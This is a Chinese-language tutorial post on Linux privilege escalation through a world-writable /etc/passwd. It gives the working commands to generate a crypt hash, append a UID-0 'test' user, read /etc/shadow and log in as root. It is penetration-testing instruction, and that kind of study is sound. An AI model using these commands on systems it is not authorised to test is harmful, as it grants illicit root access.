当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作,而在提权过程中发现当前用户具有/etc/passwd文件的写权限,此时我们可以写一个用户进去完成提权。
在Linux下,用户分为三类:超级用户(root)、普通用户、程序用户
有三个命令可以查看用户的相关信息:
cat /etc/passwd #查看用户信息
cat /etc/shadow #查看用户的密码信息
cat /etc/group #查看用户的组信息使用以下命令查看用户信息:
cat /etc/passwd #/etc/passwd默认权限为644,其最小权限为444
/etc/passwd文件中每条用户信息数据显示有7个字段:
一般来说,只有root用户的uid是为0,如果黑客把一个普通用户的uid修改为0的话,那么他只要以普通用户的用户名和密码登录,系统就会自动切换到root用户,常常系统加固的时候都会过滤出有哪些用户的UID为0。
首先查看/etc/passwd 的权限,发现任何用户都可以对/etc/passwd文件进行读写操作:
ls -lh /etc/passwd接下来要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到/etc/passwd 文件中~
首先使用perl语言生成带有盐值的密码:
perl -le 'print crypt("password@123","addedsalt")'
然后执行下面这条命令,成功将test用户的信息加入/etc/passwd文件
echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
在这里我们也可以使用其他的语言来审查带有盐值的密码:
Python:
python -c 'import crypt; print crypt.crypt("password@123", "$6$salt")'
PHP:
php -r "print(crypt('aarti','123') . \"\n\");"
随后直接SSH登录即可~
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。